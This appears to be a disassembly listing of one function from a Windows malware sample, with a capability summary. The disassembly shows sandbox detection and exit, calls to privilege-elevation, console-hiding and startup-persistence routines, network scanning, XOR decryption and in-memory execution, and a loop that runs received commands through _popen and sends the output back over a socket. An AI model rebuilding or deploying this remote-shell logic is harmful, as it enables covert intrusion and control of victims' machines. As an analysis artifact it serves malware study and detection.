Function at 0x1400020f0
Capabilities:
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0xab8
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.check_environment__
test al, al
je 0x140002144
lea rax, str.Virtual_environment_detected._Exiting...
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x1400024ad
call sym.elevate_privileges__
call sym.hide_console__
call sym.add_to_startup__
mov dword [rbp + 0xa2c], 0x270f
lea rax, [rbp + 0x830]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x828], rax
lea rax, [rbp + 0x828]
mov edx, 0x270f
mov rcx, rax
call sym.scan_network_and_connect_unsigned_long_long__int_
lea rax, [rbp + 0x800]
mov edx, 0x10
mov rcx, rax
call sym.generate_key_abi:cxx11__unsigned_long_long_
lea rax, [rbp + 0x9ce]
mov qword [rbp + 0xa18], rax
nop
nop
lea rdx, [rbp + 0x9ce]
lea rax, [rbp + 0x7e0]
mov r8, rdx
lea rdx, [0x1400070bc]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x9ce]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x7c0]
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x7e0]
mov r8, rcx
mov rcx, rax
call sym.xor_encrypt_decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x7c0]
mov rcx, rax
call sym.execute_in_memory_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
call sym.is_system_idle__
test al, al
je 0x14000223f
call sym.random_delay__
jmp 0x140002405
mov rax, qword [rbp + 0x828]
lea rdx, [rbp - 0x40]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0xa28], eax
cmp dword [rbp + 0xa28], 0
jle 0x140002400
lea rax, [rbp + 0x9cf]
mov qword [rbp + 0xa10], rax
nop
nop
mov eax, dword [rbp + 0xa28]
movsxd rcx, eax
lea r8, [rbp + 0x9cf]
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__unsigned_long_long__std::allocator_char__const_
lea rax, [rbp + 0x9cf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x9d0]
lea rdx, [rbp - 0x60]
mov r9d, 3
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x9d0]
lea rdx, [0x140007151]
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov ebx, eax
lea rax, [rbp + 0x9d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140002350
lea rax, [rbp + 0x9f0]
lea rdx, [rbp - 0x60]
mov r9, 0xffffffffffffffff
mov r8d, 3
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x9f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.chdir
lea rax, [rbp + 0x9f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1400023f4
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
lea rax, [0x140007155]
mov rdx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
call rax
mov qword [rbp + 0xa20], rax
cmp qword [rbp + 0xa20], 0
je 0x1400023f4
jmp 0x1400023b9
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rax, qword [rbp + 0x828]
lea rdx, [rbp + 0x3c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0xa20]
lea rax, [rbp + 0x3c0]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
setne al
test al, al
jne 0x140002385
mov rax, qword [rbp + 0xa20]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
call sym.random_delay__
jmp 0x14000222c
add rsp, 0xab8
pop rbx
pop rbp
ret